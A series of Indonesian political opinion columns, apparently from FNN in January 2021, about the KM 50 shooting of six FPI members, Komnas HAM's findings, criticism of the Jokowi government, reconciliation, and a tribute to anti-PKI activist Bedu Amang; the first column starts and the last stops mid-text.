Status sebagai "non state parties" tidak menjadi halangan atas tafsiran luas dari pasal 27 dan 28 Statuta Roma. Kejahatan yang termasuk kategori "international crime" berdasarkan prinsip universal yang berlaku dalam hukum internasional masuk dalam yuridiksi ICC. Tanpa harus melihat nasionalitas pelaku dan tempat perbuatan. Pasal 28 Statuta Roma menegaskan bahwa "atasan baik militer atau sipil harus bertanggung jawab secara pidana terhadap kejahatan yurisdiksi ICC yang dilakukan anak buahnya". Aturan seperti ini sangat dirasakan penting untuk mampu menghukum "the most responsible person". Yang karena kekuasaan dalam negara menjadi sulit dijangkau oleh lembaga peradilan domestik. Peradilan kriminal internasional mampu menyeret Kepala Negara, Anggota Parlemen, Kapolda, atau pejabat lainnya yang dikualifikasikan terlibat dalam pelanggaran HAM (Vide Pasal 27 Statuta). Andai sejumlah organisasi pembela HAM, tokoh dan aktivis, serta keluarga korban dari pelanggaran HAM mengadu kepada ICC di Den Haag Belanda sebagai peradilan internasional independen, mungkin misteri dari peristiwa "pelanggaran HAM kilometer 50 tol Japek" akan terkuak. Yang terpenting adalah bahwa para pelaku atau perekayasa kejahatan HAM tersebut dapat dihukum. Kejahatan kemanusiaan tidak boleh dibiarkan atau terulang. Komnas HAM yang ikut bermain-main dalam kasus sensitif ini patut pula bertanggungjawab atas kelu dan ragu-ragunya itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

KM 50, Jokowi dan Bencana Demokrasi

DULU, ada SDSB yang diplesetkan menjadi Soeharto Dalang Segala Bencana atau Sudomo Datang Sisca Bahagia. Plesetan yang kedua itu merujuk pada Sudomo, Menteri Tenaga Kerja di masa orde baru yang memperistri Sisca, walau akhirnya cerai. Padahal, SDSB adalah singkatan dari Sumbangan Dana Sosial Berhadiah. SDSB yang sebenarnya adalah lotre atau perjudian berkedok mengumpulkan dana dari masyarakat. Tidak jelas juga dananya mengalir ke mana dan kepada siapa. Hadiahnya cukup besar, mulai puluhan ribu sampai Rp 1 miliar. Sebagai daya tarik agar masyarakat mau membeli SDSB, pemenang utama selalu ditampilkan fotonya sedang menerima hadiah di belakang kertas SDSB yang akan diundi pekan berikutnya. Terkadang, tukang becaklah yang ditampilkan fotonya sedang menerima hadiah Rp 1 miliar. Padahal, hadiah-hadiah besar itu bohong. Yang benar ada hanyalah hadiah-hadiah kecil dan paling tinggi Rp 10. 000.000. Ya, kalau tukang becak tiba-tiba dikasih uang Rp 10 juta sebagai konpensasi foto sedang menerima hadiah, pasti mau. Soeharto Dalang Segala Bencana merupakan plesetan SDSB yang disuarakan aktivis prodemokrasi. Ya, karena banyak bencana menimpa, baik bencana alam maupun bencana terhadap demokrasi, aktivis dan pelanggaran Hak Azasi Manusia (HAM). Para aktivis menyebut Soeharto dalang segala bencana karena memerintah tanpa demokrasi, sangat represif. Nyawa manusia sangat murah, ditangkap, diculik, dan ada yang dibunuh tanpa proses peradilan. Ingat peristiwa Tanjung Priok, Jakarta Utara, peristiwa Talang Sari, Lampung. Sejumlah Aktivis Petisi 50 ditangkap, hanya karena mereka mengeluarkan pendapat yang dianggap berbeda dengan Soeharto. Aktivis prodemokrasi ditangkapi. Pokoknya, yang tidak sepaham dengan rezim orde baru dibungkam, diculik dan ada yang dibunuh. Peristiwa di era Soeharto, kini mirip terulang. Bencana demokrasi kini terjadi. Aktivis kritis ditangkap dan diintimidasi. Berbagai kegiatan aktivis dimata-matai. Bencana di pemerintahan Jokowi bisa dirunut. Bencana bangsa ini dimulai dengan sejumlah janji kampanye yang tidak bisa ditepati atau dilaksanakan. Paling nyaring didengar adalah ketika Jokowi memperkenalkan mobil Esemka yang menjadi icon terpilihnya ia di periode pertama tahun 2014. Ya, mobil Esemka yang katanya akan menjadi mobil nasional, kini terdengar sayup-sayup, antara ada dan tiada. Apalagi, di tengah pandemi Corona Virus Disease 2019 (Covid-19) yang telah menyebabkan produksi mobil di Indonesia terjun bebas. Banyak yang menganggap mobil Esemka itu sebagai kebohongan dan tipu-tipu belaka. Candaan, dan bahkan olok-olokan tentang mobil Esemka pun bertebaran di dunia maya. "Khan Esemka udh mendunia, Malah ini populer di dua dunia, Dunia nyata maupun Maya," cuit bnu Sholh @IbnuSholh. "Mobnas Vietnam mendunia. Esemka melangit sampai sulit kembali kedunia," komentar PANGGILGUAKADRUN (MSyD64)@almarhum080864. Bencana demokrasi dan pelanggaran Hak Azasi Manusia (HAM) juga semakin sering terjadi. Masih ingat peristiwa bulan Mei 2019, saat masyarakat berdemo di depan kantor Komisi Pemilihan Umum (KPU), Jalan Thamrin, Jakarta Pusat. Massa berdemo karena menuntut keadilan terhadap hasil pemilihan presiden (Pilpres). Akan tetapi, demo itu dijawab dengan kekerasan oleh aparat kepolisian atas nama undang-undang. Gas air mata, pentungan, dan peluru karet pun digunakan untuk membubarkan massa. Massa pendemo dikejar-kejar sampai ke pemukiman penduduk. Banyak yang luka-luka, dan bahkan ada yang meninggal dunia. Yang ditangkap juga banyak. Semua yang dilakukan aparat polisi itu adalah atas nama undang-undang, karena menurut polisi semua tindakan tersebut sudah sesuai prosedur yang berlaku. Bencana demokrasi dan hukum semakin terasa kian hari. Aparat kepolisian semakin refresif dalam membubarkan demostrasi. Sejumlah aktivis, seperti Syahganda Nainggolan, Djumhur Hidayat, dan lain-lain ditangkap dan dipenjara. Mereka ditangkap hanya karena perbedaan pendapat. Para aktivis yang mengeluarkan pendapapat kritis pun dituduh ingin menggulingkan pemerintah. Tidak hanya menangkapi aktivis, aparat kepolisian pun kemudian menembak enam orang laskar Front Pembela Islam (FPI) Jalan Tol Jakarta-Cikampek Kilometer 50. Enam laskar yang mengawal Habib Rizieq Shihab (HRS) menuju pengajian keluarga inti di Karawang dihabisi Senin 7 Desember 2020. Awalnya, polisi mengaku menembak mereka karena melawan dengan menggunakan senjata api. Keterangan kemudian berubah, mereka ditembak karena mau merebut senjata polisi. Keterangan polisi yang disampaikan Kapolda Metro Jaya, Fadhil Imran itu pun jika dicocokkan dengan rekonstruksi yang dilakukan polisi sendiri, sangat berbeda pula. Keterangan Fadhil pun disanggah oleh FPI. Melalui Sekretaris Umum sekaligus pengacara FPI, Munarman, pihaknya justru mengaku enam laskar itu hilang diculik orang tidak dikenal. Laskar, kata Munarman, tidak dibekali senjata tajam, apalagi senjata api. Tidak sampai tewasnya enam laskar, HRS pun dijadikan tersangka kerumuman di Petamburan ditahan. Masih belum puas sampai penahanan, HRS juga menjadi tersangka kerumuman di Pesantren Agrokultur Mega Mendung, Kabupaten Bogor, Jawa Barat. Persoalan lahan di pesantren ini pun kemudian diungkit pihak PTP Nusantara VIII melalui somasi. Setelah kasus lahan, praperadilan tentang SP3 (Surat Perintah Penghentian Penyidikan) dalam kasus dugaan chat mesum pun tiba-tiba dimenangkan oleh penggugat di PN Jakarta Selatan. Tidak jelas kapan sidang atas gugatan nomor 151 itu. Padahal, praperadilan yang diajukan kuasa hukum HRS atas sangkaan kerumunan di Petamburan bernomor 150 saja baru disidang sejak Senin, 4 Januari 2021 dan Selasa, 11 Januari 2021 diputuskan. Puncaknya, pembubaran FPI melalui Surat Keputusan Bersama (SKB) tiga menteri dan tiga pejabat setingkat menteri. Tidak jelas dasar hukum pembubaran yang ditandatangani oleh enam orang itu. Banyak pihak yang menyorotinya, termasuk mantan Ketua MPR Amien Rais. Badan Eksekutif Mahasisa Universitas Indonesia (BEM UI) juga menyampaikan kecaman keras. Belum puas, pemerintah pun memblokir rekening bank FPI dan rekening bank orang-orang yang berafliasi dengan ormas ysng berdiri 17 Agustus 1998 itu. Terakhir, ada 68 rekening yang dibukukan, termasuk tujuh rekening anak HRS. Jumlah rekening yang dibekukan itu kemungkinan bisa bertambah, karena yang dilakukan adalah kekuasaan yang otoriter, bukan pendekatan pemerintahan yang demokratis. Teranyar, HRS pun dijadikan terdangka dalam kasus Ruma Sakit Umi, Bogor, Jawa Barat. Entan berapa kali lagi ulama bersuara lantang dan keras itu akan dijadikan tersanga oleh polisi. Amien Rais yang juga salah satu tokoh reformasi mengatakan, pembubaran FPI itu sama saja menghabisi demokrasi di Indonesia. Sedangkan BEM UI dalam pernyataan sikapnya antara lain meminta agar pemerintah mencabut SKB pembubaran FPI. Sikap BEM UI itu bukan merupakan bentuk dukungan atau pro pada FPI. Akan tetapi, pembubaran itu dinilai mencederai hukum dan demokrasi karena dilakukan tanpa proses peradilan. Banyak yang menganggap pembubaran FPI itu sebagai pengalihan isu atas kegagalan pemerintah dalam menangani ekonomi, menangani Covid-19, dan berbagai persoalan lainnya yang dihadapi bangsa ini. Bahkan, pembubaran FPI yang sekaligus "membidik" HRS dari berbagai penjuru mata angin disinyalir sebagai upaya pengalihan isu korupsi yang menimpa dua menteri Jokowi di dalam Kabinet Kerja. Keduanya adalah Edy Prabowo, Menteri Kelautan dan Perikanan yang ditangkap oleh petugas KPK di Bandara Soekarno-Hata, ketika pulang dari Amerika Serikat. Ia ditangkap dalam kasus izin ekspor benih lobster. Kemudian Juliari Peter Batubara, Menteri Sosial yang ditangkap KPK dalam kasus korupsi bantuan sosial terhadap rakyat terdampak Covid-19. Juliari Batubara yang juga Wakil Bendahara Umum PDIP itu diduga menerima suap Rp 17 miliar. Ada dugaan, dana yang dirampok Juliari dan rombongannya jauh lebih besar lagi. Nah, guna menutupi dua kasus korupsi yang sangat mempermalukan Jokowi itulah, pengalihan isu dilakukan. Apalagi kasus Juliari itu disebut menyeret Gibran Rakabuming, anak Joko Widodo. Jadi, yang dilakukan untuk menghabisi HRS dan FPI adalah bencana. Ya, bencana hukum, bencana demokrasi dan bencana terhadap HAM. Yang pasti, perampokan uang negara yang dilakukan Juliari Batubara jelas bencana kemanusian , karena mengkhianati dan mengambil hak rakyat yang tertindas. **

Bedu Amang, Deklarator Pembubaran PKI di Jogya 1965

by Syaefudin Simon Jakarta FNN – Senin (11/01). Bedu Amang, panggilan akrab Abdurrahman untuk Suku Bugis di tahun 1965-an mengukir kisah yang heroik. Sebagai aktivis Himpunan Mahasiswa Islam (HMI), yang juga pernah menjadi Ketua Umum HMI Cabang Yogya sebelum dr. Sigiat, Beddu menjadi motor penggerak anti-PKI di Yogya tahun 1965. Ingat,,, Melawan PKI tahun 1965-1967 di Yogya bukan perkara mudah. Sebab PKI saat itu telah menguasai hampir seluruh wilayah Daerah Istimewa Yogyakarta (DIY). Suasananya sangat mencekam, karena PKI mempelihatkan kekatannya di mana-mana. Semua DPRD Yogya dikuasai oleh PKI. Di Yogya, hanya ada 8 kantong Islam yang bertahan menolak PKI. Diantaranya Kauman, Notoprajan, Suronatan, Karangkajen Kadipaten Kulon, Pakualaman, dan Nitikan. Hanya daerah-daerah ini yang aman dari "kerumunan" PKI. Itu pun hampir tiap malam, 8 kantong Islam itu diteror oleh kader partai palu arit. Kader-kader PKI yang menguasai Yogya sering melakukan razia dan meneror orang yang melakukan sholat. Orang tak berani keluar rumah. Karena di jalan utama, arak-arakan kader PKI dengan yel-yel "Bubarkan HMI, Bunuh Penghisap Darah Rakyat, dan Habisi Tuan Tanah" terus menggema. Yang dimaksud dengan penghisap darah rakyat versi PKI adalah pengusaha muslim. Tuan tanah adalah kyai dan haji yang mengelola yayasan amal yang mempunyai tanah luas untuk sekolah Islam dan pesantren. Mahasiswa UGM, terutama anggota HMI, yang tinggal di Bulaksumur, Terban, dan Pingit, jika malam mengungsi ke salah satu kampung Islam tadi. Pak Dochak Latief bercerita, beliau ngekos di perumahan dosen UGM, Bulaksumur. Tetapi kalau malam mengungsi ke Kauman. Orang-orang CGMI, Pemuda Rakyat, Gerwani tiap malam kata Pak Dochak melakukan razia di pinggir jalan. Kalau tahu mahasiswa itu adalah aktivis HMI, maka bisa dibawa ke Posko Pemuda Rakyat. Jika sudah demikian, keselamatannya terancam. Begitu berkuasanya PKI di Yogya sehingga orang militer tertinggi, Kolonel Katamso dan Letnal Kolonel Sugiono, masing-masing Komandan Resort Militer Pamungkas dan wakilnya diculik dan dibunuh. Saat itu, awal awal Oktober 1965, Yogya sudah dikuasai militer Dewan Revolusi bentukan Letkol Untung. RRI Yogya sudah mengumumkan pembentukan Dewan Revolusi dengan Ketua Mayor Mulyono, kepala staf administrasi di Korem Pamungkas. Mulyono ini pula yang memerintahkan penculikan terhadap Katamso dan Sugiono, yang notabene atasannya sebelum Letkol Untung membentuk Dewan Revolusi. Dalam kondisi itulah tokoh-tokoh HMI Yogya seperti Bedu Amang, Sugiyat, Tawang Alun, dan Amidhan mencari strategi untuk menyelamatkan umat Islam. HMI Cabang Yogya misalnya, mengutus Amidhan Shaberah menemui Sulastomo, Ketua PB HMI di Jakarta untuk melaporkan kondisi keamanan Yogya yang gawat dan dikuasai Dewan Revolusi. Sulastomo dikenal dekat dengan Jenderal Soeharto, Panglima Kostrad yang mendapat mandat khusus dari Bung Karno untuk mengamankan Indonesia paska penculikan para jenderal. Dengan melaporkan peristiwa penculikan Katamso dan Sugiyono, harapannya Jenderal Soeharto segera mengamankan Yogya. Apalagi Sugiyono yang diculik PKI itu, pernah jadi asistennya Soeharto waktu peristiwa Serangan 1 Maret 1949 di Yogya. Perkiraan aktivis para HMI Yogya benar terjadi. Mendapat laporan suasana Yogya yang mencekam, Soeharto nengirimkan pasukan RPKAD ke Yogya. Begitu pasukan baret merah datang ke Yogya dengan peralatan militer lengkap, Bedu Amang ikut menyambutnya. HMI Yogya pun merapat ke pasukan pimpinan Sarwo Edhie Wibowo tersebut. Bedu Amang, saat itu Sekjen Front Pancasila, organisasi bentukan Pak De Dahlan Ranuwihardjo, sesepuh HMI yang dekat Bung Karno. Bedu Amang menginisiasi rapat akbar di alun-alun Utara Yogya, depan masjid Kauman pada 21 Oktober 1965. Bersama Saibani sebagai ketua Front Pancasila, Bedu Amang membacakan deklarasi pembubaran PKI di Yogya saat itu. Langkah Bedu Amang membuat Gempar. Karena Jakarta saja belum membubarkan PKI. Tetapi Front Pancasila Yogya sudah membubarkannya. Akibat deklarasi itu, kader-kader PKI marah kepada umat Islam. Delapan kantong Islam seperti disebutkan di atas, setiap malam dijaga pasukan RPKAD. Kedatangan pasukan baret merah tersebut, terutama kehadirannya di kantong-kantong Islam Yogya, menjadikan perlawanan umat terhadap CGMI, Pemuda Rakyat, dan Gerwani makin berani. Baru setelah Jenderal Soeharto mendapat Supersemar dari Bung Karno, sehari kemudian, 12 Maret PKI resmi dibubarkan. Yogya pun berangsur pulih. Sampai akhirnya benar-benar aman. Itulah salah satu momen penting perjuangan Bedu Amang di Yogya untuk menyelamatkan bangsa Indonesia. Abdurrahman atau Bedu Amang pejuang anti PKI, pernah menjadi Menteri Negara Urusan Pangan/Kepala Badan Urusan Logistik (Bulog) 1995-1998, alumnus Fakultas Pertanian UGM itu wafat Sabtu sore 9 Januari pukul 17.00 WIB dalam usia 85 di RS Pondok Indah Jakarta. Semoga amal ibadah Pak dan Abangda Bedu Amang diterima Allah Subhanahu Wata’ala, dan di sana mendapat tempat terbaik di sisi-NYA. Aamiin. Al-Fatihah untuk Pak dan Abangda Bedu Amang. Penulis adalah Aktivis HMI Yogya Komisariat FMIPA UGM.

Menolak Rekonsiliasi Semu

by Tony Rosyid Jakarta FNN – Senin (11/01). Sabtu kemarin (9/1) saya diundang Rekat, Lembaga Swadaya Masyarakat (LSM) binaan Jendral TNI (Purn.) Ryamizard Ryacudu. Ada 60 tokoh yang diundang. Mulai dari akademisi, aktifis, ulama, jenderal purnawirawan, ekonom, pengamat, hingga anggota DPR. Rekat menggagas tentang integrasi dan upaya menjaga keutuhan NKRI. Ini ide yang baik, sehingga mesti terus ditularkan ke semua jejaring anak bangsa. Semakin masif penularan, maka semakin banyak yang akan ikut memikirkan dan memikul tanggung jawab untuk mewujudkan Indonesia yang damai. Sayangnya, acara sebagus ini tidak banyak diliputi media. Dalam pertemuan itu, saya tidak berkesempatan untuk bicara. Diantaranya karena memang waktunya terbatas. Saya juga lebih suka diam dan memahami lebih dulu kemana arah Rekat ini. Apa gagasan yang akan dikontribusikan untuk masa depan bangsa. Sebab di undangan juga tidak disertakan tema yang akan jadi panduan dialog dalam pertemuan itu. Makanya diam, mendengarkan, dan menjadi pembelajar di tempat yang belum dikenal, akan lebih bijak. Alasan yang lebih jujur sesungguhnya, karena mungkin moderatornya, yaitu Dedi Gumelar (Miing) dan Fristian Griec tidak kenal saya. Mau kasih waktu gimana, kenal aja kagak. Hehe Melalui tulisan ini, saya ingin sedikit menyampaikan gagasan. Semoga tulisan ini sampai juga ke peserta diskusi Rekat sabtu kemarin. Terutama pimpinanya, Jenderal TNI (purn) Ryamizard Ryacudu. Tak lupa juga kepada host terkenal, Om Miing. Rekonsiliasi! Kata ini menjadi sakral akhir-akhir ini. Sering diperbincangkan, bahkan juga "mendadak" menjadi arus utama dalam diskusi Rekat kemarin. Kata "rekonsiliasi" tidak muncul tiba-tiba. Tentu, ada pemicunya. Yaitu keresahan bangsa atas kegaduhan sosial yang selama ini terjadi. Saya tak perlu merinci sumber kegaduhan itu. Semua sudah pada tau. Karena, dua belah pihak yang terbelah pasca pilpres 2019 saling klaim dan lempar tuduhan. Atas kegaduhan itu, sejumlah tokoh merekomendasikan untuk diadakan "rekonsiliasi nasional" . Antara siapa dan untuk apa? Dua pertanyaan ini harus lebih dulu dijawab. Kalau ada kebijakan, lalu dikritik. Apakah si pembuat kebijakan dan pengkritiknya harus rekonsiliasi? Tentu tak tepat. Tapi, kalau rekonsiliasi diartikan koalisi, nggak tepat juga. Rekonsiliasi memang tak harus berkoalisi. Tak harus, artinya boleh, sah dan mungkin bagus-bagus saja. Yang terpenting bukan koalisi menghasilkan apa. Tetapi jenis rekonsiliasi macam apa yang akan didesign untuk memberi kontribusi bagi masa depan bangsa. Kalau rekonsiliasi ujung-ujungnya bagi-bagi, itu koalisi namanya. Bukan rekonsiliasi. Jadi, kepentingan bangsa mesti jadi tujuan dasarnya. Rekonsiliasi, dalam pengertian yang sebenarnya, bisa menjadi solusi. Tetapi, ini sifatnya jangka pendek. Setidaknya, untuk sementara bisa meredam kegaduhan sosial. Tetapi, rekonsiliasi model seperti ini bersifat semu, jika ukurannya untuk orientasi jangka panjang. Konflik antar elit itu bersifat periodik. Pada pilpres 2024, identitas pemilih dan konstalasi politiknya juga akan berubah. Saat itu, atau setidaknya pasca 2024, situasi kemungkinan akan mencair. Karena itu, nggak perlu habiskan energi hanya untuk semata-mata mewujudkan rekonsiliasi. Ada sumber masalah yang sesungguhnya lebih serius dan mendasar untuk menjelaskan mengapa Indonesia mudah terpancing dan sering mengalami ketegangan sosial. Pertama, adanya kesenjangan ekonomi yang begitu lebar antara kelompok kaya dengan kelompok miskin. Ada ketidakadilan dalam distribusi kesejahteraan. Inilah yang oleh Ibnu Khaldun, bapak sosiolog dunia, dianggap berpotensi memicu ketegangan Hanya sekitar 1% orang Indonesia menguasai 50% kekayaan bangsa Indonesia. Sekitar 10% menguasai lebih dari 70% kekayaan negara. Regulasi, kebijakan dan program pembangunan bangsa selama ini tidak berorientasi untuk mempersempit jarak kesenjangan itu. Tetapi, yang terjadi justru sebaliknya. Jurang perbedaan kekayaan yang semakin lebar. Kedua, hukum kita sudah jauh keluar dari karakter normatifnya. Pasal-pasal dalam undang-undang sudah tak aman lagi, dan menjadi perebutan oleh berbagai kepentingan. Diantaranya oleh kekuasaan, korporasi, pemilik uang. Bahkan penegak hukum itu sendiri sering menjadi salah satu pemainnya . Hukum seringkali menjadi arena adu kekuatan antar pihak. Dan wasitnya ikut menjadi pemain. Ketiga, sistem demokrasi telah melahirkan para politisi minus jiwa kenegarawanan. Politisi itu tunduk pada parpol. Sementara negarawan tunduk pada aturan dan kepentingan rakyat. Politisi berorientasi prestis. Sedangkan negarawan berorientasi prestasi untuk bangsa. Politisi menjadi pemimpin para pendukung. Negarawan tak lagi peduli dukungan. Politisi menari di atas konflik dan pencitraan, negarawan sibuk melakukan rekonsiliasi. Kesenjangan ekonomi, ketidakadilan hukum dan hadirnya banyak politisi minus mental kenegarawanan menjadi faktor utama mengapa gejolak sosial mudah mendapatkan triggernya. Dan ini tak akan berhenti menjadi ancaman bagi bangsa. Kalau Indonesia ingin damai, tiga PR tersebut harus segera diselesaikan. Kalau tidak, maka drama kekuasaan akan terus memainkan rakyat sebagai aktor lapangan yang akan selalu dibenturkan satu dengan yang lain. Disitulah kegaduhan sengaja dipelihara. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Komnas HAM Memang Top

by Dr. Margarito Kamis SH.M.Hum Jakarta FNN – Senin (11/01). Membunuh satu orang, sama dengan membunuh semua manusia. Begitu Allah Subhanahu Wata’ala memperingatkan hamba-hambanya. Sakral manusia itu di mata Allah. Kesakralan itu memiliki daya tolak terhadap semua argumen official, serapih apapun, dalam menyembunyikan nyawa-nyawa yang dihabisi itu. Kesakralan nyawa-nyawa manusia, bagi yang berotak, tahu dihormati, diagungkan setiap republik di dunia. Love humanity, love dignity, love justices, and love peace, itulah nilai-nilai sakral semua yang dipunyai republik. Itu sebabnya semua republik, memandu aparatur pelaksana hukum dan pemegang bedil dengan due process of law. Alhamdulillah nilai-nilai sakral itu dihidupkan republik Indonesia tercinta ini. Itulah hakikat keberadaan Komisi Nasional Hak Asasi Manusia (Komnas HAM). Syukur, Komnas HAM cukup jujur memasuki peristiwa terbunuhnya enam anggota Laskar Front Pembela Islam (FPI) yang menjadi pengawal Habib Rizieq Shihab (HRS). Cerdas, Komnas pun telah mengumumkan temuannya. Alhamdulillah. Lubang-Lubang Kecil Substansi keterangan Pers Komnas Ham Nomor 003/Humas/KH/I/2021 tertanggal 8 Januari 2021, terpola dalam satu ciri umum. Cirinya adalah tidak menyebut nama pemberi keterangan. Ini yang tidak menarik. Yang menarik adalah Komnas HAM memberi ciri spesifiknya. Ciri spesifik ditandai dengan tak dijelaskannya hal-hal kunci. Komnas HAM tak menyebut bagaimana peluru mengenai dan mematikan dua almarhum yang diturunkan di rest area kilometer 50 tol Jakarta-Cikampek (Japek). Apakah keduanya tertembak di dalam mobil ditengah keadaan saling tembak, saling serempet, seruduk dan kejar-mengejar di sepanjang jalan Internasional Karawang? Tida ada penjelasan rinci. Halaman tujuh poin sembilan dari konfrensi persnya, Komnas HAM hanya menyebutkan, untuk lengkapnya saya kutip secara utuh. Bahwa empat anggota Laksus yang kemudian “ditembak mati di dalam mobil petugas” (tanda petik dari saya) saat dalam perjalanan dari kilometer 50 ke atas (menuju Polda Metro Jaya) dengan informasi hanya dari petugas kepolisian semata bahwa terlebih dahulu telah terjadi upaya melawan petugas yang mengancam keselamatan diri, sehingga diambil tindakan tegas dan terukur. Hanya itu penjelasan polisi. Tidak dijelaskan juga siapa petugas Polisi yang menembak empat orang almarhum dalam mobil itu? Mobil yang mereka tumpangi menuju Polda Metro. Mengapa mereka tak diborgol? Apakah para almarhum itu telah tak berdaya secara fisik? Kalau mereka tidak dalam keadaan seperti itu, mengapa tak diborgol? Apakah keadaan tak diborgol itu merupakan perintah atasan? Logiskah hanya satu orang Polisi duduk dibangku tengah mengapit satu orang Laskar FPI? Logishkah tiga orang lainnya di jok belakang, tanpa kawalan? Lalu empat orang yang tangannya tak diborgol ini merebut senjata petugas, tetapi gagal? Logis ini? Atau hanya dongeng belaka? Kalau mati dalam mobil, adakah sidik jari dalam bobil itu? Tidak ada sehelai rambut pun ditemukan dalam mobil itu? Tidak ada bercak darah dalam mobil itu? Kalau semua ini tak ada, apa hipotesisnya? Mati di dalam mobil atau diluar mobil? Bila mati di luar mobil, maka soalnya jadi lebih menarik. Mungkinkah petugas di dalam mobil itu yang menembak mereka? Bila ya, apakah petugas itu mengambil keputusan sendiri untuk menembak mereka? Beranikah petugas tidak melaporkan keadaan itu kepada atasannya? Bila melapor, apa perintah atau petunjuk dari atasan? Fakta yang disajikan Komnas HAM, harus diakui, tak bisa diandalkan untuk menemukan jawabannya. Tetapi apakah keadaan yang terlihat tak terang itu menggambarkan Komnas HAM tak memiliki data itu? Lebih logis untuk berhipotesa kalau Komnas HAM benar-benar memiliki fakta itu, tetapi tidak mau untuk menyajikannya pada konfrensi pers. Kenyataan-kenyataan lain yang menyajikan soal, tersaji pada angka 5 pada halaman 6 point 8. Kenyataan itu sangat bernilai. Isinya “sedangkan untuk kendaraan jenis Avanza Silver B 1793 PWQ dan B 1278 KJD yang menurut keterangan saksi dan hasil identifikasi rekaman CCTV serta analisis rekaman percakapan terlibat aktif dalam pembuntutan terhadap rombongan HRS, tidak diakui sebagai mobil milik petugas Polda Metro Jaya yang sedang melaksanakan tugas pembuntutan”. Siapa mereka? Hantukah mereka? Apakah mereka yang menembak dua angota FPI lebih dulu, yang diturunkan di rest area kilometer 50? Apakah yang diterangkan petugas dalam pemeriksaan Komnas HAM mengenai dua mobil Avanza ini? Mereka mengakui? Menyangkal? Akankah soal ini terus menjadi misterius? Kenyataan ini bukan dongeng. Harus dibuat terang, seterangnya terangnya. Perjelas Konteks Konteks yang disajikan Komnas HAM terlihat persial, terpisah-pisah, terisolasi satu dengan lainnya. Padahal konteksnya begitu mudah. Konteksnya, suka atau tidak adalah HHS. Kepulangannya menyita perhatian pemerintah. Tidakkah telah menjadi pengetahuan umum, kepergiannya keluar negeri, semata menghindari tindakan hukum kepada dirinya, yang HRS nilai tidak adil? Apakah petugas lapangan memiliki kesanggupan dan kewenangan official untuk memilih tindakan, yang berpotensi, bahkan actual unlawful? Persoalan ini ak tersedia informasi oleh Komnas HAM. Tidak penting lagi mempertanyakan mengapa Komnas HAM memilih sikap itu. Sekali lagi tidak penting. Karena Komnas HAM sudah cukup cerdas. Mereka menyajikan fakta, yang terlihat terpisah, tetapi detailnya saling mendukung dalam membentuk konteksnya secara utuh dan menyeluruh. Itu terlihat pada fakta sebagai berikut. Pada halaman tujuh di bawa sub-topik pada pokoknya peristiwa di atas adalah (penebalan dari saya) Komnas Ham nyatakan: Penembakan sekaligus terhadap empat orang dalam satu waktu tanpa ada upaya lain yang dilakukan untuk menghindari semakin banyaknya jatuh korban jiwa mengindikasikan adanya unlawfull killing terhadap empat anggota laskar FPI. Nalarnya, hanya empat orang itu yang unlawfull killing. Dua lainnya lawfull killing. Logisklah ini? Terlihat logis bila konteksnya diisolasi pada kejar-mengejar, serempet-menyerempet dan tembak-menembak sejak di Jalan Internasional Karawan hingga keluar dari jalan itu. Soalnya sekarang, logiskah konteksnya diisolasi Komnas HAM sebatas itu? Apakah logis kejar-mengejar dan seterusnya diisolasi dari kenyataan adanya pembuntutan petugas kepada Habib sejak dari Sentul? Bila tak ada pembuntutan, apakah kejar-mengejar dan seterusnya bisa terjadi? Bagaimana dengan kenyataan adanya mobil mistrerius yang aktif membuntuti romobongan HRS? Bila kenyataan itu harus diisolasi juga, sehingga kematian dua orang itu disebut lawfull killing, maka muncul soal hukum baru. Soalnya adalah bagaimana menerangkan fakta yang ditemukan Komnas HAM bahwa Habib Rizieq telah dipantau sejak sebelum berada di Sentul? Tidakkah Habib Rizieq telah dipantau sejak di Mega Mendung dan Sentul? Tidakkah fakta itu bernilai hukum, sehingga petugas polisi mampu memantau, menginteli Habib Rizieq, pada dua tempat (Mega Mendung dan Sentul) itu tanpa insiden apapun? Mengapa menempuh pola terakhir yang fatal itu? Tidakkah petugas tahu bahwa HRS belum berstatus tersangka? Mau atau tidak, soal ini harus diintegrasikan dan dijadikan konteks peristiwa. Dengan begitu, maka sifat lawfull atau unlawfull atas kematian kedua almarhum itu, dapat ditentukan secara objejktif. Konsekuensinya, konteks peristiwa tidak dapat diisolasi sebatas kejar-mengejar, dan seterusnya. Konteksnya harus ditarik sejak peristiwa, setidaknya kerumunan di Petamburan, dan seterusnya. Bukankah peristiwa kerumunan di Petamburan itulah, yang mengakibatkan Habib dipanggil penyidik Polda Metro untuk dimintai keterangan? Bukankah terdapat dua pemantauan sebelumnya, yaitu di Mega Mendung dan Sentul, yang nyatanya semuanya oke, tanpa ada insiden, apalagi yang mematikan? Hanya dengan cara itu, hukum tentang lawfull atau unlawfull atas kematian dua almarhum menjadi objektif. Penentuan sifat kematian keduanya, dalam konteks rule of law juga due process of law, dengan sendirinya, memiliki nalar yang berbasis hukum. Komnas HAM juga menemukan kenyataan yang dinyatakan pada angka 6 point 6 halaman 6. Kenyataan ini justru menguatkan nalar pentingnya membuat konteks peristiwa ini secara utuh. Isi angka 6 point 6 halam 6 itu adalah “terdapat pula informasi adanya kekerasan, pembersihan darah, pemberitahuan bahwa ini kasus narkoba dan terorisme, pengambilan CCTV di salah satu warung dan perintah penghapusan dan pemeriksaan handphone masyarakat di sana.” Mengapa harus dibersihkan? Mengapa harus dihapus? Mengapa HP orang harus diperiksa? Lawfull ko takut pada kenyataan yang terekam? Imperatif untuk dikaitkan dengan konteks, dan kejelasan dua mobil misterius yang tidak diakui Polda. Agar sejumlah hal hukum memiliki nilai, maka soal ini harus ibuat jelas. Agar jelas, maka harus diperjelas konteks. Ini cara menghindari munculnya imaginabled context atau enggenering context, konteks yang dihayalkan dan direkayasa. Bahaya konteks tipikal ini adalah kekeliruan menentukan siapa yang bertanggung jawab apa? Dan sejauh mana tanggung jawab itu disebar? Bisakah konteks dari satu peristiwa ke peristiwa lainnya yang terlihat tak saling terangkai, hilang, disebut sebagai loophole-loophole? Bila pun iya, hal itu tak mengubah fakta apapun dalam temuan Komnas HAM ini. Sebab terlalu mudah untuk menemukan nalar loophole-loophole itu. Tetapi harus diakui, itu akan terjadi bila penyidikan nanti sungguh-sungguh disemangati dan dikerangkakan ke dalam imperatif-imperatif due process of law. Buka otak, hidupkan nurani, hidupkan kejujuran, tatap di hari akhir yang indah adalah menghidupkan due process of law. Maka objektifitas penyidikan kasus ini, datang dengan sendirinya. Detail peristiwa, dengan demikian, akan mudah muncul bila, sekali lagi, bila otak bekerja dengan panduan nurani yang bening. Dengan panduan cahaya kejujuran dan rindu akhir hidup yang khusnul khotimah. Due 